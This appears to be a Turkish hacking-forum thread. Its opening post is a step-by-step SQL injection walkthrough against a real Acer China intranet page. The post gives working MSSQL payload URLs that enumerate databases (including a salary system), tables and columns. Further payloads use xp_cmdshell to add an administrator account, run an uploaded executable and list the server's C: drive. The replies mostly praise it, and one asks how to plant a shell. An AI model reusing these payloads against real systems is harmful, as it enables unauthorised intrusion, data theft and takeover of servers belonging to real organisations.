Laptop Firması Acer Hacked /Sql İnjection

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Twitter
    Twitter's avatar
    Kayıt Tarihi: 13/Ekim/2007
    Erkek

    Arkadaşlar malum vizeler bitti boşluğumuz var hazır sitedede bilişim konularına ağırlık veriliyorken 

    Sql injectionu sadece 'a yapmak zanneden arkadaşlar için ufak bir siteyle uğraştım :) 

    Sql injection ile adamların sunucuda cirit attım C:,D: Gibi sürücülerinin içinde gezdim vs

    Kesinlikle hackleme gibi bir amacım yoktur zaten site birkaç kişi tarafındanda hacklenmiştir 

    Ben sadece size yöntemi anlatacağımki arkadaşlar yararlansın sonra tartışma yaşanmasın ... 

    Adım adım anlatayım ... 

    Sitemiz meşhur bilgisayar üreticisi Acer dir .

    İlk önce acerin çin domainine girdim ufak bir kurcalama yaptım siteyle pek ilgilenmiyorlar herhalde

    halen hacked falan yazıları duruyordu ( ayıp ayıp ) :)

    Neyse biraz subdomainleri karıştırdım karşıma burası çıktı

    http://amsintranet.acer.com.cn/rules/holiday/holiday.asp?ams=BJ

    Ardından 

    http://amsintranet.acer.com.cn/rules/holiday/holiday.asp?ams=BJ'a yaptık ve hatamızı aldık çincem yok ama 

    Büyük ihtimal unclosed hatası buda update yapılacağını gösteriyor

    Daha sonra database adlarını almaya başladım 

    http://amsintranet.acer.com.cn/rules/holiday/holiday.asp?ams=BJ'%20and%201=convert(int,%20db_name(0));--

    intranet , salarysystem gibi database isimlerini vermeye başladı 

    (Not : Diğer database adlarını öğrenmek için db_name(0) içindeki sıfırı 1 yaparak artırıp öğrenin )

    Ardından sıra geldi tabloları öğrenmeye 

    http://amsintranet.acer.com.cn/rules/holiday/holiday.asp?ams=BJ' and 1=convert(int, (select top 1 name from sysobjects where xtype='u'and name>'a'));--

    Yapınca birde baktıkki adm2000 gibi bir tablo adı verdi neyse bir sonraki tabloyu öğrenmek içinde name>'adm2000' gibi yaparak sırayla tablolarıda
    öğrendik eywallah

     Şimdi mesela adm2000 adlı tablonun kolonları öğrenelim 

    http://amsintranet.acer.com.cn/rules/holiday/holiday.asp?ams=BJ' and 1=convert(int, (select top 1 name from syscolumns where colid=1 and id=(select top 1 id from sysobjects where xtype='u' and name='adm2000')));--

    yaparak colid=1 sayısını sürekli 1 artırarak kolon isimlerini sırayla okuyoruz .. 

    Neyse buraya kadar herşey standart birkaç bilgi daha vereyim 

     

    Makina adi: www.hedefsite.com/news.asp?id=1 and 1=convert(int, @@servername);--

    Version: www.hedefsite.com/news.asp?id=1 and 1=convert(int, @@version);--

    Servis Adi: www.hedefsite.com/news.asp?id=1 and 1=convert(int, @@servicename);--

     

     

    Gibi bilgileride yukarıda bahsettiğim şekilde çekebilirsiniz 

    Siteye uzak masaüstü bağlantısı yapmak için birkaç şey denedim bakma fırsatım olmadı :) 

    Uzak masaüstü bağlantısı için ;

    http://amsintranet.acer.com.cn/rules/holiday/holiday.asp?ams=BJ'exec%20master..xp_cmdshell 'net localgroup administrators Twitter /add';--

    Mesela olduda sunucuya shell attınız ardından windows sunucu olduğunu gördünüz ve trojan atıp makineyi ele geçireceksiniz 

    Fakat shell sizin exe nizi çalıştırmıyor webmaster disable etmiş bazı fonksiyonları o zaman bizde sql üzerinden devreye bu kodu sokuyoruz :) 

    http://amsintranet.acer.com.cn/rules/holiday/holiday.asp?ams=BJ'exec%20master..xp_cmdshell 'C:/Program Files/a.exe';--

    Neyse başka bir felaket senaryosuna geçelim herşey hacked yazmak değil sonuçta ekrana :) 

    Geldi en baba darbeye adamların sunucu üzerinde cirit atmaya windows makine olduğu için C: sürücüsünü görme 

    http://amsintranet.acer.com.cn/rules/holiday/holiday.asp?ams=BJ';drop table musty create table musty(ID int identity,Str varchar(1000)) insert into musty exec master..xp_cmdshell 'dir /b C:\';--

    Yaparak musty gibi bir tablo oluşturulur ve okunan sunucu bilgileri tabloya yazılır ... 

    Ardından 

    http://amsintranet.acer.com.cn/rules/holiday/holiday.asp?ams=BJ' and 1=convert(int,(select Str from musty where ID=1));--

    ID değeri değiştirilerek tabloya yazılan değerler okunur :) 

    Son Olarak umarım arkadaşlarıma faydası olur azda olsa ufkunu ilerletir 

    Elimden geldiğince birşeyler karaladım .... 

    Yapılacak iyi ve kötü yorumlar için şimdiden teşekkürler ... 

    Dipnot :)

    Bunları bir programa yaptırırsanız daha iyi olur coder arkadaşlar ... 

    Sunucunun klasörlerine ait bir görüntü ; 

     

     

     

     

     

     


    Tbt Dersimliler Derneği Başkanı :)
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    YasamaK
    YasamaK's avatar
    Banlanmış Üye
    Kayıt Tarihi: 29/Ağustos/2010
    Erkek

    eyvallah emeğine sağlık


    SEVİŞİRKEN EN ZEVKLİ OLAN ŞEY.. tamam, dikkatinizi çektim. ne kadar meraklısınız böyle şeylere terbiyesizliğin lüzumu yok yani :D (, sessizce öldürüyor.)
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Daniel-Koo
    Daniel-Koo's avatar
    Kayıt Tarihi: 22/Ekim/2010
    Erkek

    Sql injection kullanılarak sisteme nasıl shell atılır? 

    Hadi atmaya çalıştık bi engel var sql injection ile bunu aşabilir miyiz?

     

    emeğine sağlık.


    ne diyon?
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    stux
    stux's avatar
    Kayıt Tarihi: 09/Ekim/2008
    Erkek
    kardeş yakalamasınlar seni
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Kehanet
    Kehanet's avatar
    Kayıt Tarihi: 08/Mart/2007
    Erkek

    Eline sağlık güzel döküman olmuş, öğretici olması adına nasıl yaptığını açıklaman da ayrı güzel. Bunların dışında yedirdiğin sql ınjection farklı birşeyse onun hakkında kısa bi bilgi, ve ne bu açığın nedeni ve nasıl önleneceği hakında da kısa bi bilgi olsa daha güzel olurdu. Tabiki nette bir sürü döküman var araştırılıp öğrenilebilinir ama şimdi saatlerce aratırıp makale okumaya üşenenler için kısa kısa başlıklar halınde onlara da değinseydın daha güzel olurdu gibi :)

    Güzel çalışma olmuş.


    Benimkisi kuvvet, zevk ve kudret. Benim adım "Kehanet"
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    volkan
    volkan's avatar
    Kayıt Tarihi: 17/Mart/2007
    Erkek

    eline sağlık güzel paylaşım


    onekine?
  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Allura
    Allura's avatar
    Kayıt Tarihi: 17/Mayıs/2009
    Erkek

    eline sağlık acer iyidir aslında ama iyiki vurmuşsun :) ^^ 1337


    "
  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    siyahbereli
    siyahbereli's avatar
    Kayıt Tarihi: 03/Ocak/2006
    Erkek

     turkguvenligide hacklemiş bu siteyi yani acer olmuş hacer :)


    Yapmadıklarınıza pişman olmaktansa, Yaptıklarınıza pişman olun...Yapın pişman olun, yada yapmayın yine pişman olun.
Toplam Hit: 2059 Toplam Mesaj: 8